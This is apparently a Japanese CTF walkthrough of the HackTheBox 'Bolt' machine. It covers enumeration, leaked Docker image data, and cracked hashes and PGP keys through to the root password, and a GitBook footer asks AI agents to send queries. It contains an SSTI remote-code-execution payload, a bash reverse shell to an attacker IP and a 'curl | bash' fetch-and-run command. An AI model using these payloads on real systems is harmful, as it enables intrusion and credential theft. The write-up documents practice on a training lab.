> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md). # Bolt HackTheBox攻略記事情報漏えい、サブドメイン列挙、SSTI（サーバーサイドテンプレートインジェクション）、PassBoltの悪用を扱うBolt HackTheBox Medium Linuxマシンの攻略記事。実践的な列挙、侵害、足 {% embed url="" %} {% hint style="warning" %} **スキル:** * 情報漏えい * サブドメイン列挙 * SSTI（サーバーサイドテンプレートインジェクション） * PassBoltの悪用 * GPGの悪用 {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（22,80,443）

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80,443 10.10.11.114 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイルに存在するユーザーに対して試します。

### ポート80

アカウントの作成を試みますが、「Internal Server Error」が返されます。

**候補ユーザー一覧：** * Joseph Garth * Bonnie Green * Jose Leos

ダウンロードできる `.tar` Dockerイメージ。エレガントなデザインでプロジェクトを始めるための基本的なWebパッケージが含まれています。

**ディレクトリ検索：** 次のコマンドでディレクトリ検索を行います `gobuster`: ```bash gobuster dir -u http://bolt.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 特に興味深いものは見つかりませんでした。

**サブドメイン検索：** 次のコマンドでサブドメインを検索します `gobuster`: ```bash gobuster vhost -u http://bolt.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` 見つかったサブドメイン： * `demo.bolt.htb` * `mail.bolt.htb`

それらを `/etc/hosts` ファイルに存在するユーザーに対して試します。

**`http://mail.blolt.htb`**

**`http://demo.bolt.htb:`**

### 情報漏えい（image.tar） Dockerファイル内の機密情報を探しています `.tar` ファイルを含むフォルダを持っている `json`、ファイル `layer.tar` およびバージョン。

**ファイル抽出：** 次のように `layer.tar` からファイルを抽出します： ```bash mkdir extracted_layers ``` ```bash find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /; ```

次を開きます `db.sqlite3` データベースを作成します: ```sql sqlite3 db.sqlite3 .tables Select * from user ``` ユーザーを見つけます `admin` ハッシュ化されたパスワード付きで： * `id`：一意のユーザー識別子。 * `username`：ユーザー名（`admin` この場合は * `email`：関連付けられたメールアドレス（`admin@bolt.htb`). * `パスワード`：ハッシュ化されたパスワード（`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

次の方法でパスワードを復号します `john`: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `admin:deadbolt`

管理パネルにログインしますが、Flaskを使っていること以外は特に興味深いものは見つかりません。

**招待コードを検索：**

抽出したファイル内で招待コードを探します： ```bash grep -ri "invite_code" . ```

あるPythonファイルに招待コードが含まれています： `XNSS-HSJW-3NGU-8XTJ`

新しいユーザーアカウントを作成します `jordan` パスワード `Jordan1234`を使うと、受信トレイと管理パネルのデモにアクセスできます。

* `ユーザー: jordan` * `パスワード: Jordan1234`

## SSTIの脆弱性：設定を見ると、設定名を変更すると確認メールが送信されることに気づきます。これはSSTI攻撃の好機かもしれません。

典型的なペイロードでテストします： ```bash {{ 9*9 }} ``` 結果が `81`なら、アプリケーションは脆弱です。

アプリケーションが脆弱であることを確認し、次のペイロードでコマンドインジェクションをテストします `payloadallthethings`: {% embed url="" %} 注文ID： ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ```

ポート443で待ち受けることで、リバースシェルの実行に成功します： ```bash nc -nlvp 443 ``` 次を作成します `index.html` リバースシェルを実行するための以下の内容を持つファイル ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` 次に、PythonでHTTPサーバーを起動します： ```bash python3 -m http.server 80 ``` ペイロードを送信して `curl` コマンドを取得して実行します： ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }} ```

**ターミナルの安定化：** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### より快適に作業できるよう、シェルを安定化させます。 ## 権限昇格：ユーザー `www-data`として、root権限を得るために権限昇格を試みています。 ### LinPEASによる初期列挙 LinPEASを使ってシステム内の潜在的な脆弱性を特定しました。 {% embed url="" %} 実行したコマンド： ```bash python3 -m http.server 555 ``` ```bash wget http://10.10.14.3:555/linpeas.sh ```

LinPEASにより機密情報を含む設定ファイルが見つかりました： `/etc/passbolt/passbolt.php` * `ホスト：localhost` * `ポート：3306` * `ユーザー名：passbolt` * `パスワード：rT2;jW7

### **MySQLデータベースへの接続** この情報を使ってデータベースに接続します： ```bash mysql -h localhost -P 3306 -u passbolt -p rT2;jW7

* **`users`**：ユーザーを含みます。


`id`	`role_id`	`username`	`active`	`deleted`	`created`	`modified`
`4e184ee6-e436-47fb-91c9-dccb57f250bc`	`1cfcd300-0664-407e-85e6-c11664a7d86c`	`eddie@bolt.htb`	1	0	2021-02-25 21:42:50	2021-02-25 21:55:06
`9d8a0452-53dc-4640-b3a7-9a3d86b0ff90`	`975b9a56-b1b1-453c-9362-c238a85dad76`	`clark@bolt.htb`	1	0	2021-02-25 21:40:29	2021-02-25 21:42:32

* **`secrets`**：暗号化されたメッセージ（後で悪用できる可能性があります）。

* **`gpgkeys`**：公開鍵を含みます（特定のシナリオで使用できます）。

次を使って接続を試みます `eddie`: ```bash su eddie ``` * **パスワード**: `rT2;jW7

### LinPEASの再利用（ユーザー eddie）ユーザー `eddie`へのアクセスを得た後、 **LinPEAS** SSHキーやその他の有用な手がかりの可能性を探るためにシステムを再調査します。

**ファイルが見つかりました**: SSH鍵の可能性を含むログファイル: `/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

### GPGによるメッセージ復号 **GPG秘密鍵**: 私たちは **GPG** 秘密鍵を取り込んで、の暗号化されたメッセージを復号しようとするツール `secrets` テーブル内のユーザーを一覧表示します。 `passboltdb` データベース。 ``` -----BEGIN PGP PRIVATE KEY BLOCK----- バージョン: OpenPGP.js v4.10.9 コメント: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- ``` #### 秘密鍵ハッシュの抽出秘密鍵を使用するには、まずその **ハッシュ**を取得する必要があります。私たちは **gpg2john** 秘密鍵ハッシュを抽出するツール： ```bash gpg2john private.key > hash ```

**でJohn the Ripperを使って秘密鍵のパスワードを総当たりで解析する `john`** 次を使用します **John the Ripper** 辞書攻撃を行い、秘密鍵のパスワードを見つけます。次の単語リストを使用します **rockyou.txt** これに： ```bash john -wordlist=/usr/share/wordlists/rockyou.txt hash ``` **パスワードが見つかりました**: `merrychristmas`

#### 秘密鍵の取り込みとメッセージの復号私たちは次で秘密鍵をインポートします **gpg** ```bash gpg --import private.key ```

次に、暗号化されたメッセージを復号します（おそらく `message.txt` から取得した `secrets` データベース）: ```bash gpg --decrypt message.txt ``` **rootパスワードが見つかりました**: `Z(2rmxsNW(Z?3=p/9s`

### root.txt フラグ

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.